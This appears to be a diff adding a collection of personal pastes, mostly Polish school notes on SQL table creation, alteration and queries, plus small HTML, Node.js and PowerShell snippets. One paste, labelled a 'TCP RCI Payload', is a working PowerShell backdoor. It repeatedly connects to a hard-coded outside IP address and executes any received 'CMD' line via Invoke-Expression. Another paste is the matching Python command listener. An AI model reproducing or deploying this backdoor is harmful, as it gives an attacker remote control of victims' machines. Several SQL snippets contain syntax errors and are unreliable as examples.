-- 7. Utwórz tabelę prezenty zawierającą kolumnę ID będące liczbą całkowitą i kluczem podstawowym, kolumnę prezenty będącą typem tekstowym i kolumnę id_zamowienia będącą kluczem obcym dla tabeli zamowienia
|
||||||
|
CREATE TABLE prezenty(
|
||||||
|
id INT PRIMARY KEY,
|
||||||
|
prezenty VARCHAR(255),
|
||||||
|
id_zamowienia INT UNSIGNED NOT NULL,
|
||||||
|
FOREIGN KEY(id_zamowienia) REFERENCES zamowienia(id),
|
||||||
|
);
|
||||||
|
|
||||||
|
-- 8. Zmień nazwę tabeli prezenty na niespodzianka
|
||||||
|
ALTER TABLE prezenty
|
||||||
|
RENAME niespodzianka;
|
30
pastes/paste_662038.txt
Normal file
30
pastes/paste_662038.txt
Normal file
@ -0,0 +1,30 @@
|
|||||||
|
#
|
||||||
|
# ID: 662038
|
||||||
|
# Nazwa: notatki bazy danych
|
||||||
|
# Opis: Wstęp do DQL (SELECT)
|
||||||
|
# Publiczny: 0
|
||||||
|
# Data utworzenia/ostatniej edycji (UTC): 2023-12-12 12:43:13
|
||||||
|
#
|
||||||
|
|
||||||
|
-- Struktura instrukcji SELECT
|
||||||
|
|
||||||
|
SELECT `kolumna`
|
||||||
|
FROM `tabela`
|
||||||
|
WHERE -- Ustalanie warunków
|
||||||
|
GROUP BY -- Grupowanie wyników po wartości kolumn
|
||||||
|
HAVING -- Filtrowanie rekordów
|
||||||
|
ORDER BY -- Sortowanie rekordów
|
||||||
|
LIMIT -- Ograniczenie ilości wynikowych rekordów
|
||||||
|
|
||||||
|
-- Zaawansowane limity
|
||||||
|
|
||||||
|
-- LIMIT można użyć w celu zignorowania określonej liczby pierwszych rekordów w wyniku np.
|
||||||
|
LIMIT 3,10
|
||||||
|
-- Wyniki zaczną się od 3 rekordu i będzie ich 10
|
||||||
|
|
||||||
|
-- Praktyka
|
||||||
|
-- Zadania z pliku .docx z mobiDziennika i importowanej bazie danych 'domki'
|
||||||
|
|
||||||
|
SELECT * FROM domki; -- Wyświetl wszystkie rekordy
|
||||||
|
|
||||||
|
SELECT IDpracownika, Nazwisko FROM uczniowie ORDER BY nazwisko ASC, imie ASC; -- Wybierz ID pracownika i jego nazwisko sortując wynik po nazwisku a następnie imienia
|
25
pastes/paste_6c5b2a.txt
Normal file
25
pastes/paste_6c5b2a.txt
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
#
|
||||||
|
# ID: 6c5b2a
|
||||||
|
# Nazwa: Python-PowerShell Socket Connection
|
||||||
|
# Opis: Python
|
||||||
|
# Publiczny: 0
|
||||||
|
# Data utworzenia/ostatniej edycji (UTC): 2023-10-18 21:15:17
|
||||||
|
#
|
||||||
|
|
||||||
|
import socket
|
||||||
|
|
||||||
|
HOST = "127.0.0.1"
|
||||||
|
PORT = 53588
|
||||||
|
|
||||||
|
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
|
||||||
|
s.bind((HOST, PORT))
|
||||||
|
s.listen()
|
||||||
|
conn, addr = s.accept()
|
||||||
|
with conn:
|
||||||
|
print(f"Connected by {addr}")
|
||||||
|
while True:
|
||||||
|
data = input("Prompt> ")+"\n"
|
||||||
|
|
||||||
|
conn.sendall(data.encode("utf-8"))
|
||||||
|
|
||||||
|
print("\nSent!")
|
33
pastes/paste_74bc96.txt
Normal file
33
pastes/paste_74bc96.txt
Normal file
@ -0,0 +1,33 @@
|
|||||||
|
#
|
||||||
|
# ID: 74bc96
|
||||||
|
# Nazwa: notatki bazy danych
|
||||||
|
# Opis: 10.11.2023 - wiele kluczy podstawowych i inny zapis kluczy podstawowych i obcych
|
||||||
|
# Publiczny: 0
|
||||||
|
# Data utworzenia/ostatniej edycji (UTC): 2023-12-05 11:43:53
|
||||||
|
#
|
||||||
|
|
||||||
|
-- Te metody podobno będą na kartkówce
|
||||||
|
|
||||||
|
CREATE TABLE adres(
|
||||||
|
id INT PRIMARY KEY AUTO_INCREMENT,
|
||||||
|
`kod pocztowy` CHAR(6),
|
||||||
|
miasto VARCHAR(64),
|
||||||
|
ulica VARCHAR(64)
|
||||||
|
);
|
||||||
|
|
||||||
|
CREATE TABLE administracja(
|
||||||
|
id INT UNSIGNED AUTO_INCREMENT,
|
||||||
|
imie VARCHAR(64),
|
||||||
|
nazwisko VARCHAR(64),
|
||||||
|
stanowisko VARCHAR(64),
|
||||||
|
uprawnienia SET("write", "read", "execute"),
|
||||||
|
id_adres INT,
|
||||||
|
PRIMARY KEY(id, imie, nazwisko),
|
||||||
|
FOREIGN KEY(id_adres) REFERENCES adres(id)
|
||||||
|
);
|
||||||
|
|
||||||
|
DESCRIBE administracja;
|
||||||
|
|
||||||
|
ALTER TABLE adres RENAME zamieszkanie;
|
||||||
|
|
||||||
|
ALTER TABLE zamieszkanie CHANGE miasto wojewodztwo VARCHAR(64);
|
39
pastes/paste_816716.txt
Normal file
39
pastes/paste_816716.txt
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
#
|
||||||
|
# ID: 816716
|
||||||
|
# Nazwa: PowerShell TCP RCI Payload
|
||||||
|
# Opis: PowerShell Remote Code Injection client (payload)
|
||||||
|
# Publiczny: 0
|
||||||
|
# Data utworzenia/ostatniej edycji (UTC): 2023-11-08 08:13:07
|
||||||
|
#
|
||||||
|
|
||||||
|
$socketHost = "162.19.224.235"
|
||||||
|
$socketPort = "8880"
|
||||||
|
|
||||||
|
while ($true) {
|
||||||
|
try {
|
||||||
|
$tcpConnection = New-Object System.Net.Sockets.TcpClient($socketHost, $socketPort)
|
||||||
|
$tcpStream = $tcpConnection.GetStream()
|
||||||
|
$reader = New-Object System.IO.StreamReader($tcpStream)
|
||||||
|
|
||||||
|
while ($tcpConnection.Connected) {
|
||||||
|
while ($tcpStream.DataAvailable -or $reader.Peek() -ne -1 ) {
|
||||||
|
$response = $reader.ReadLine()
|
||||||
|
$prefix = $response.Split(" ", 2)[0]
|
||||||
|
if ($prefix -eq "CMD") {
|
||||||
|
$command = $response.Split(" ", 2)[1]
|
||||||
|
|
||||||
|
Invoke-Expression $command
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
start-sleep -Milliseconds 500
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
Write-Output "Err:`n$_"
|
||||||
|
}
|
||||||
|
|
||||||
|
start-sleep -Milliseconds 5000
|
||||||
|
}
|
||||||
|
|
||||||
|
$reader.Close()
|
||||||
|
$tcpConnection.Close()
|
37
pastes/paste_8fc082.txt
Normal file
37
pastes/paste_8fc082.txt
Normal file
@ -0,0 +1,37 @@
|
|||||||
|
#
|
||||||
|
# ID: 8fc082
|
||||||
|
# Nazwa: cwiczenie bazy danych 7.11
|
||||||
|
# Opis: na podstawie pdfa ktory pani wyslala w zadaniach na dzienniku
|
||||||
|
# Publiczny: 0
|
||||||
|
# Data utworzenia/ostatniej edycji (UTC): 2023-11-07 12:46:46
|
||||||
|
#
|
||||||
|
|
||||||
|
-- 1.
|
||||||
|
CREATE TABLE osoba(
|
||||||
|
id INT UNSIGNED PRIMARY KEY AUTO_INCREMENT NOT NULL,
|
||||||
|
imie VARCHAR(50),
|
||||||
|
plec ENUM("k", "m"),
|
||||||
|
wiek TINYINT UNSIGNED,
|
||||||
|
miasto VARCHAR(50),
|
||||||
|
kod_pocztowy CHAR(6)
|
||||||
|
);
|
||||||
|
|
||||||
|
-- 2.
|
||||||
|
ALTER TABLE osoba RENAME uczen;
|
||||||
|
|
||||||
|
-- 3.
|
||||||
|
ALTER TABLE uczen
|
||||||
|
ADD COLUMN kolor_oczu VARCHAR(50) DEFAULT "zielony",
|
||||||
|
ADD COLUMN stypendium INT UNSIGNED AFTER plec;
|
||||||
|
|
||||||
|
-- 4.
|
||||||
|
ALTER TABLE uczen CHANGE id id_ucznia INT UNSIGNED;
|
||||||
|
|
||||||
|
-- 5.
|
||||||
|
ALTER TABLE uczen MODIFY stypendium FLOAT;
|
||||||
|
|
||||||
|
-- 6.
|
||||||
|
ALTER TABLE uczen DROP wiek, DROP plec;
|
||||||
|
|
||||||
|
-- 7.
|
||||||
|
ALTER TABLE uczen ADD INDEX login_idx (imie);
|
52
pastes/paste_8fda29.txt
Normal file
52
pastes/paste_8fda29.txt
Normal file
@ -0,0 +1,52 @@
|
|||||||
|
#
|
||||||
|
# ID: 8fda29
|
||||||
|
# Nazwa: Notatnik bazy danych
|
||||||
|
# Opis: 31.10.2023/3.11.2023
|
||||||
|
# Publiczny: 0
|
||||||
|
# Data utworzenia/ostatniej edycji (UTC): 2023-11-03 07:07:48
|
||||||
|
#
|
||||||
|
|
||||||
|
-- Zmiana nazwy tabeli
|
||||||
|
|
||||||
|
ALTER TABLE `domki` RENAME `mieszkania`; -- Polecenie książkowe (przestarzałe)
|
||||||
|
-- lub
|
||||||
|
RENAME TABLE `domki` TO `mieszkania`; -- phpMyAdmin pomija ekran rezultatu zapytania, a więc ta metoda nie nadaje się do użycia na egzaminie
|
||||||
|
|
||||||
|
-- Dodawanie kolumny
|
||||||
|
|
||||||
|
ALTER TABLE `uczen` ADD `pesel` CHAR(11) UNIQUE;
|
||||||
|
-- Uczen >> PESEL, stała ilość znaków. unikatowy.
|
||||||
|
|
||||||
|
ALTER TABLE `uczen` ADD `miasto` VARCHAR(50) AFTER `pesel`,
|
||||||
|
ADD `wiek` INT UNSIGNED,
|
||||||
|
ADD `stypendium` FLOAT UNSIGNED; -- Może być też ADD COLUMN ale tak jest krócej.
|
||||||
|
-- Uczen >> wiek l. naturalna, miasto ciąg znaków max 50 + po kolumnie pesel, stypendium - typ zmiennoprzecinkowy.
|
||||||
|
|
||||||
|
-- Usuwanie kolumny
|
||||||
|
|
||||||
|
ALTER TABLE `uczen` DROP `pesel`; -- Może być też DROP COLUMN ale tak jest krócej.
|
||||||
|
|
||||||
|
-- Usuwanie wielu kolumn
|
||||||
|
|
||||||
|
ALTER TABLE `uczen` DROP `miasto`, DROP `stypendium`; -- Może być też DROP COLUMN ale tak jest krócej.
|
||||||
|
|
||||||
|
-- Zadanie (dodawanie kolumny + zmiana nazwy kolumny + zmiana typu kolumny)
|
||||||
|
ALTER TABLE `uczen` ADD `kolor_oczu` VARCHAR(50), -- Dodanie kolumny
|
||||||
|
ALTER TABLE `uczen` CHANGE `kolor_oczu` `data_urodzenia`, -- Zmiana nazwy
|
||||||
|
ALTER TABLE `pracownicy` MODIFY `data_urodzenia` DATE; -- Zmiana typu kolumny
|
||||||
|
|
||||||
|
-- Usuń klucz obcy
|
||||||
|
|
||||||
|
ALTER TABLE `rezerwacje` DROP FOREIGN KEY `rezerwacje_ibfk_1`;
|
||||||
|
ALTER TABLE `rezerwacje` DROP FOREIGN KEY `rezerwacje_ibfk_2`;
|
||||||
|
|
||||||
|
-- Usuwanie klucza podstawowego
|
||||||
|
ALTER TABLE `rezerwacje` DROP PRIMARY KEY;
|
||||||
|
-- W tym przypadku zwróci błąd ponieważ klucz podstawowy zawiera AUTO INCREMENT
|
||||||
|
-- Błąd: "Incorrect table definition; there can be only one auto column and it must be defined as a key"
|
||||||
|
-- Dlatego najpierw trzeba usunąć AUTO INCREMENT z phpMyAdmin, a następnie spróbować jeszcze raz
|
||||||
|
|
||||||
|
-- Dodanie klucza relacji z konkretną nazwą
|
||||||
|
ALTER TABLE `rezerwacje` ADD CONSTRAINT `klasa` FOREIGN KEY (`IdPracownika`) REFERENCES `pracownicy`(`Idpracownika`);
|
||||||
|
-- Usuwanie poprzednio dodanego klucza obcego
|
||||||
|
ALTER TABLE `rezerwacje` DROP FOREIGN KEY `klasa`;
|
87
pastes/paste_981d65.txt
Normal file
87
pastes/paste_981d65.txt
Normal file
@ -0,0 +1,87 @@
|
|||||||
|
#
|
||||||
|
# ID: 981d65
|
||||||
|
# Nazwa: book.html
|
||||||
|
# Opis: z programowania aplikacji
|
||||||
|
# Publiczny: 0
|
||||||
|
# Data utworzenia/ostatniej edycji (UTC): 2023-10-30 11:41:18
|
||||||
|
#
|
||||||
|
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
|
||||||
|
<title>Książka - The Square Root of 4 to a Million Places</title>
|
||||||
|
<style>
|
||||||
|
:root {
|
||||||
|
font-size: 20px;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
.container img {
|
||||||
|
width: 20rem;
|
||||||
|
margin-top: 3rem;
|
||||||
|
transition: all 0.3s ease-out;
|
||||||
|
}
|
||||||
|
|
||||||
|
.container {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
width: 100%;
|
||||||
|
align-items: center;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
.container p {
|
||||||
|
width: 20rem;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div class="container">
|
||||||
|
<h1>The Square Root of 4 to a Million Places</h1>
|
||||||
|
<p>
|
||||||
|
The Square Root of 4 to a Million Places is presented here in a high quality paperback edition. This popular classic
|
||||||
|
work by Norman L. De Forest is in the English language, and may not include graphics or images from the original
|
||||||
|
edition. If you enjoy the works of Norman L. De Forest then we highly recommend this publication for your book
|
||||||
|
collection.
|
||||||
|
</p>
|
||||||
|
<img src="https://m.media-amazon.com/images/I/71HO01kCO3L._SY466_.jpg" alt="Okładka" id="cover">
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
let constrain = 80;
|
||||||
|
let mouseOverContainer = document.getElementById("cover");
|
||||||
|
let ex1Layer = document.getElementById("cover");
|
||||||
|
|
||||||
|
function transforms(x, y, el) {
|
||||||
|
let box = el.getBoundingClientRect();
|
||||||
|
let calcX = -(y - box.y - (box.height / 2)) / constrain;
|
||||||
|
let calcY = (x - box.x - (box.width / 2)) / constrain;
|
||||||
|
|
||||||
|
return "perspective(100px) "
|
||||||
|
+ " rotateX(" + calcX + "deg) "
|
||||||
|
+ " rotateY(" + calcY + "deg) ";
|
||||||
|
};
|
||||||
|
|
||||||
|
function transformElement(el, xyEl) {
|
||||||
|
el.style.transform = transforms.apply(null, xyEl);
|
||||||
|
}
|
||||||
|
|
||||||
|
mouseOverContainer.onmousemove = function (e) {
|
||||||
|
let xy = [e.clientX, e.clientY];
|
||||||
|
let position = xy.concat([ex1Layer]);
|
||||||
|
|
||||||
|
window.requestAnimationFrame(function () {
|
||||||
|
transformElement(ex1Layer, position);
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
mouseOverContainer.onmouseout = function () {
|
||||||
|
window.requestAnimationFrame(function () {
|
||||||
|
transformElement(ex1Layer, [window.outerWidth / 2, window.outerHeight / 2].concat([ex1Layer]));
|
||||||
|
});
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
20
pastes/paste_9b5c17.txt
Normal file
20
pastes/paste_9b5c17.txt
Normal file
@ -0,0 +1,20 @@
|
|||||||
|
#
|
||||||
|
# ID: 9b5c17
|
||||||
|
# Nazwa: Otwieranie napędu CD Powershellem
|
||||||
|
# Opis: Skrypt na otwieranie tacki napędu CD w Powershellu
|
||||||
|
# Publiczny: 1
|
||||||
|
# Data utworzenia/ostatniej edycji (UTC): 2023-10-11 14:48:08
|
||||||
|
#
|
||||||
|
|
||||||
|
$MemDef =@"
|
||||||
|
[DllImport("winmm.dll", CharSet = CharSet.Ansi)]
|
||||||
|
public static extern int mciSendStringA(
|
||||||
|
string lpstrCommand,
|
||||||
|
string lpstrReturnString,
|
||||||
|
int uReturnLength,
|
||||||
|
IntPtr hwndCallback
|
||||||
|
);
|
||||||
|
"@
|
||||||
|
|
||||||
|
$winmm = Add-Type -memberDefinition $MemDef -ErrorAction 'SilentlyContinue' -passthru -name mciSendString
|
||||||
|
$winmm::mciSendStringA("set cdaudio door open", $null, 0,0)
|
52
pastes/paste_9d42c4.txt
Normal file
52
pastes/paste_9d42c4.txt
Normal file
@ -0,0 +1,52 @@
|
|||||||
|
#
|
||||||
|
# ID: 9d42c4
|
||||||
|
# Nazwa: notatki bazy danych
|
||||||
|
# Opis: dodawanie danych do tabeli (zaktualizowane, 17.11.2023/28.11.2023)
|
||||||
|
# Publiczny: 0
|
||||||
|
# Data utworzenia/ostatniej edycji (UTC): 2023-11-28 12:45:16
|
||||||
|
#
|
||||||
|
|
||||||
|
-- LEKCJA 9
|
||||||
|
|
||||||
|
-- Dodawanie danych do tabeli
|
||||||
|
INSERT INTO tabela(kolumna, kolumna2)
|
||||||
|
VALUES ("wartosc1", 7),
|
||||||
|
("rekord2", 10); -- Liczby zapisuje się bez cudzysłowia/apostrofów
|
||||||
|
|
||||||
|
-- Alternatywa (nie można wprowadzić kilku rekordów na raz)
|
||||||
|
INSERT tabela
|
||||||
|
SET kolumna1 = "wartosc1",
|
||||||
|
kolumna2 = 7;
|
||||||
|
|
||||||
|
-- Zastosowanie w praktyce (baza danych "domki")
|
||||||
|
INSERT INTO pracownicy(Nazwisko, imie)
|
||||||
|
VALUES ("lisek", "agata");
|
||||||
|
-- Nie trzeba uwzględniać ID pracownika bo ma AUTO_INCREMENT
|
||||||
|
INSERT pracownicy
|
||||||
|
SET Nazwisko = "lisek",
|
||||||
|
imie = 'agata';
|
||||||
|
|
||||||
|
-- LEKCJA 10
|
||||||
|
|
||||||
|
-- Aktualizacja istniejących rekordów z warunkami
|
||||||
|
-- Warunek prosty/linearny (na liczbach)
|
||||||
|
UPDATE pracownicy
|
||||||
|
SET imie = "Artur"
|
||||||
|
WHERE Idpracownika = 17; -- Liczby piszemy bez cudzysłowia
|
||||||
|
|
||||||
|
-- Zaawansowane warunki (na liczbach)
|
||||||
|
UPDATE pracownicy
|
||||||
|
SET imie = "Stefan"
|
||||||
|
WHERE Idpracownika%2=0; -- Prawie to samo polecenie ale teraz sprawi, że co drugi rekord będzie mieć imię stefan (każdy z parzystym ID)
|
||||||
|
|
||||||
|
UPDATE domki
|
||||||
|
SET CenaZaDobe = CenaZaDobe+200; -- Zwiększ wszystkie ceny domów o 200
|
||||||
|
|
||||||
|
-- Kompleksowe warunki na tekście
|
||||||
|
UPDATE pracownicy
|
||||||
|
SET imie = "Cristiano", Nazwisko = "Ronaldo"
|
||||||
|
WHERE imie LIKE "%ka"; -- Zmień dane każdej osoby której imię kończy się na "ka" (znak "%" jest wildcardem, czyli może być czymkolwiek)
|
||||||
|
|
||||||
|
UPDATE pracownicy
|
||||||
|
SET imie = "Zbigniew"
|
||||||
|
WHERE imie LIKE "___"; -- Zmien imie każdej osoby która ma dokładnie trzy dowolne znaki w imieniu (znak "_" symbolizuje JEDEN dowolny znak)
|
51
pastes/paste_b84c87.txt
Normal file
51
pastes/paste_b84c87.txt
Normal file
@ -0,0 +1,51 @@
|
|||||||
|
#
|
||||||
|
# ID: b84c87
|
||||||
|
# Nazwa: Bazy danych - 17.11.2023
|
||||||
|
# Opis: Temat: Podstawowe instrukcje SQL dotyczące danych.
|
||||||
|
# Publiczny: 1
|
||||||
|
# Data utworzenia/ostatniej edycji (UTC): 2023-11-17 07:05:32
|
||||||
|
#
|
||||||
|
|
||||||
|
Podstawowe instrukcje SQL dotyczące danych.
|
||||||
|
|
||||||
|
1. Dodanie record'u (istniejąca tabela, zawierająca dane):
|
||||||
|
|
||||||
|
~ insert into `nazwa_tabeli`(`k1`,`k2`)
|
||||||
|
values('wartosc1','wartosc2');
|
||||||
|
|
||||||
|
~ insert `nazwa_tabeli` set
|
||||||
|
`k1`=`wartosc`,`k2`=`wartosc`
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
_____________________________________________________________
|
||||||
|
|
||||||
|
Przykłady:
|
||||||
|
_____________________________________________________________
|
||||||
|
|
||||||
|
insert into `pracownicy` (`Idpracownika`,`Nazwisko`,`imie`)
|
||||||
|
VALUES (null,'Lisek','Agata')
|
||||||
|
|
||||||
|
INSERT INTO
|
||||||
|
`pracownicy`(`Idpracownika`, `Nazwisko`)
|
||||||
|
VALUES
|
||||||
|
('','lisek1'),
|
||||||
|
('','lisek2');
|
||||||
|
|
||||||
|
-------------------------------------------------------------
|
||||||
|
SPOSÓB "Życiowy"
|
||||||
|
-------------------------------------------------------------
|
||||||
|
|
||||||
|
INSERT into `pracownicy`(`imie`)
|
||||||
|
VALUES
|
||||||
|
('Xawery'),
|
||||||
|
('Ksawery')
|
||||||
|
|
||||||
|
insert `pracownicy` set
|
||||||
|
`Idpracownika`=null, `Nazwisko`= 'kotek', `imie`= 'aleksander'
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
49
pastes/paste_c9985b.txt
Normal file
49
pastes/paste_c9985b.txt
Normal file
@ -0,0 +1,49 @@
|
|||||||
|
#
|
||||||
|
# ID: c9985b
|
||||||
|
# Nazwa: Bazy Danych 15.12
|
||||||
|
# Opis:
|
||||||
|
# Publiczny: 0
|
||||||
|
# Data utworzenia/ostatniej edycji (UTC): 2023-12-15 07:07:07
|
||||||
|
#
|
||||||
|
|
||||||
|
SELECT `uczniowie`.`Imie`, `uczniowie`.`Nazwisko`
|
||||||
|
FROM `uczniowie`
|
||||||
|
WHERE `uczniowie`.`Imie`='Jan'
|
||||||
|
|
||||||
|
/*4. Wyświetl listę pracowników o imieniu Jan w JEDNEJ KOLUMNIE */
|
||||||
|
SELECT concat(`uczniowie`.`Imie`, `uczniowie`.`Nazwisko`)
|
||||||
|
FROM `uczniowie`
|
||||||
|
WHERE `uczniowie`.`Imie`='Jan'
|
||||||
|
|
||||||
|
/*4. Wyświetl listę pracowników o imieniu Jan W JEDNEJ KOLUMNIE, ROZDZIELNIE IMIE I NAZWISKO*/
|
||||||
|
SELECT concat(`uczniowie`.`Imie`,' ', `uczniowie`.`Nazwisko`)
|
||||||
|
FROM `uczniowie`
|
||||||
|
WHERE `uczniowie`.`Imie`='Jan'
|
||||||
|
|
||||||
|
/*4. Wyświetl listę pracowników o imieniu Jan W JEDNEJ KOLUMNIE, ROZDZIELNIE IMIE I NAZWISKO, Z ALIASEM */
|
||||||
|
SELECT concat(`uczniowie`.`Imie`,' ', `uczniowie`.`Nazwisko`) as `Dane`
|
||||||
|
FROM `uczniowie`
|
||||||
|
WHERE `uczniowie`.`Imie`='Jan'
|
||||||
|
|
||||||
|
SELECT concat(`uczniowie`.`Imie`,' ',`uczniowie`.`Nazwisko`) as `dane`
|
||||||
|
FROM `uczniowie`
|
||||||
|
WHERE `uczniowie`.`Nazwisko` like 'J%'
|
||||||
|
ORDER BY `uczniowie`.`Nazwisko` ASC,
|
||||||
|
`uczniowie`.imie DESC
|
||||||
|
|
||||||
|
SELECT `uczniowie`.`Imie`, `uczniowie`.`Nazwisko`
|
||||||
|
FROM `uczniowie`
|
||||||
|
WHERE `uczniowie`.`Nazwisko` like '%ski' OR `Nazwisko` LIKE '%ska'
|
||||||
|
ORDER BY `Nazwisko` ASC, `Imie` DESC
|
||||||
|
|
||||||
|
/* Wyświetl listę pracowników, których nazwisko NIE zaczyna się na literę a*/
|
||||||
|
SELECT `uczniowie`.`Nazwisko`, `uczniowie`.`Imie`
|
||||||
|
FROM `uczniowie`
|
||||||
|
WHERE `Nazwisko` not LIKE 'a%'
|
||||||
|
ORDER BY `nazwisko` ASC
|
||||||
|
|
||||||
|
/* 9. Wyświetl listę pracowników uporządkowaną ze względu na imię, którzy mają czteroliterowe imię. */
|
||||||
|
SELECT `uczniowie`.`Imie`, `uczniowie`.`Nazwisko`
|
||||||
|
FROM `uczniowie`
|
||||||
|
WHERE `Imie` like '____'
|
||||||
|
ORDER BY `Imie` ASC
|
16
pastes/paste_cc767f.txt
Normal file
16
pastes/paste_cc767f.txt
Normal file
@ -0,0 +1,16 @@
|
|||||||
|
#
|
||||||
|
# ID: cc767f
|
||||||
|
# Nazwa: Notatnik - Bazy Danych (12.12.2023)
|
||||||
|
# Opis:
|
||||||
|
# Publiczny: 1
|
||||||
|
# Data utworzenia/ostatniej edycji (UTC): 2023-12-12 12:44:48
|
||||||
|
#
|
||||||
|
|
||||||
|
/* 1. Wyświetl wszystkie rekordy tabeli domki */
|
||||||
|
SELECT *
|
||||||
|
FROM `domki`;
|
||||||
|
|
||||||
|
/* 2. Wyświetl listę pracowników (nazwisko, imię) uporządkowaną alfabetycznie ze względu na nazwisko, a następnie imię. */
|
||||||
|
SELECT `uczniowie`.`Nazwisko`, `uczniowie`.`Imie`
|
||||||
|
FROM `uczniowie`
|
||||||
|
ORDER BY `Nazwisko` ASC, `Imie` ASC;
|
34
pastes/paste_cd114b.txt
Normal file
34
pastes/paste_cd114b.txt
Normal file
@ -0,0 +1,34 @@
|
|||||||
|
#
|
||||||
|
# ID: cd114b
|
||||||
|
# Nazwa: Localisation JS utility
|
||||||
|
# Opis: Simple Node.js localisation utility. Works with .json language files.
|
||||||
|
# Publiczny: 1
|
||||||
|
# Data utworzenia/ostatniej edycji (UTC): 2023-10-16 16:05:29
|
||||||
|
#
|
||||||
|
|
||||||
|
const path = require('node:path');
|
||||||
|
const fs = require('node:fs');
|
||||||
|
|
||||||
|
module.exports = {
|
||||||
|
language: class {
|
||||||
|
constructor(lang) {
|
||||||
|
const languagesPath = path.join(__dirname, '../lang');
|
||||||
|
if (fs.readdirSync(languagesPath).includes(`${lang}.json`)) {
|
||||||
|
try {
|
||||||
|
this.allText = JSON.parse(fs.readFileSync(path.join(languagesPath, `${lang}.json`), 'utf8'));
|
||||||
|
} catch {
|
||||||
|
throw new Error(`Couldn't open language file '${lang}.json'. Please make sure it uses UTF-8 encryption.`);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
throw new Error(`Language file '${lang}.json' doesn't exist. If you mischanged the LANGUAGE property in .env file, change it to en_GB for English (default).`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
getText(key) {
|
||||||
|
if (this.allText == null) {
|
||||||
|
throw new Error(`Language class has been improperly configured. (Unknown localisation module error)`);
|
||||||
|
} else {
|
||||||
|
return this.allText[key];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
31
pastes/paste_d44481.txt
Normal file
31
pastes/paste_d44481.txt
Normal file
@ -0,0 +1,31 @@
|
|||||||
|
#
|
||||||
|
# ID: d44481
|
||||||
|
# Nazwa: kartkowka bazy danych
|
||||||
|
# Opis: moj kod z kartkowki z bazy danych 14.11.2023
|
||||||
|
# Publiczny: 0
|
||||||
|
# Data utworzenia/ostatniej edycji (UTC): 2023-11-14 12:41:20
|
||||||
|
#
|
||||||
|
|
||||||
|
-- Utwórz bazę danych
|
||||||
|
CREATE DATABASE malarze;
|
||||||
|
|
||||||
|
-- [tutaj wybierz bazę którą właśnie utworzyłeś]
|
||||||
|
|
||||||
|
-- Tabela 1
|
||||||
|
CREATE TABLE farby(id_farby INT PRIMARY KEY AUTO_INCREMENT, kolor ENUM("czerwony", "biały", "zielony"), pojemnosc TINYINT UNSIGNED, cena FLOAT);
|
||||||
|
-- Tabela 2
|
||||||
|
CREATE TABLE malowanie(id_pomieszczenia INT, id_sciany INT, id_farby INT, liczba_puszek INT UNSIGNED, PRIMARY KEY (id_pomieszczenia, id_sciany, id_farby));
|
||||||
|
-- Dodaj klucz obcy
|
||||||
|
ALTER TABLE malowanie ADD CONSTRAINT frgn_id_farby FOREIGN KEY (id_farby) REFERENCES farby(id_farby);
|
||||||
|
|
||||||
|
-- Zmień nazwę tabeli 2
|
||||||
|
ALTER TABLE malowanie RENAME malarz;
|
||||||
|
-- Dodaj kolumnę do tabeli 2
|
||||||
|
ALTER TABLE malarz ADD rok_waznosci DATE FIRST;
|
||||||
|
-- Zmień typ dodanej kolumny w tabeli 2
|
||||||
|
ALTER TABLE malarz MODIFY rok_waznosci YEAR;
|
||||||
|
-- Zmień nazwę kolumny w tabeli 1
|
||||||
|
ALTER TABLE farby CHANGE cena `cena produktu` FLOAT;
|
||||||
|
|
||||||
|
-- Wyświetl strukturę bazy
|
||||||
|
DESCRIBE malarz;
|
127
pastes/paste_d722da.txt
Normal file
127
pastes/paste_d722da.txt
Normal file
@ -0,0 +1,127 @@
|
|||||||
|
#
|
||||||
|
# ID: d722da
|
||||||
|
# Nazwa: kod na kartkówke z zgrzebą - stare
|
||||||
|
# Opis: a
|
||||||
|
# Publiczny: 0
|
||||||
|
# Data utworzenia/ostatniej edycji (UTC): 2023-11-20 06:31:30
|
||||||
|
#
|
||||||
|
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="pl">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>stona klasy</title>
|
||||||
|
<link rel="stylesheet"
|
||||||
|
href="style.css">
|
||||||
|
<style>
|
||||||
|
ber{
|
||||||
|
font-size: 45px;
|
||||||
|
color:blue;
|
||||||
|
}
|
||||||
|
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div class="blok">
|
||||||
|
<div id="logo">
|
||||||
|
<object data="https://media.istockphoto.com/id/695729088/pl/filmy/podrzucanie-monet%C4%85-do-przerzucania-na-g%C5%82owach-lub-ogonach.mp4?s=mp4-640x640-is&k=20&c=f8MqMZo4oqrUBa8PD9PZIAbObLnfpt0mjVJ1k3ekFKg=" width="400px" height="100px"></object></div>
|
||||||
|
<div class="page">
|
||||||
|
<ul>
|
||||||
|
<li><a href="kontakt.html"> Kontakt </a></li><br>
|
||||||
|
<li><a href="pobierz.html"> Pobierz na PC </a></li><br>
|
||||||
|
<li><a href="opinie_klientow.html"> Opinie klientów </a></li><br>
|
||||||
|
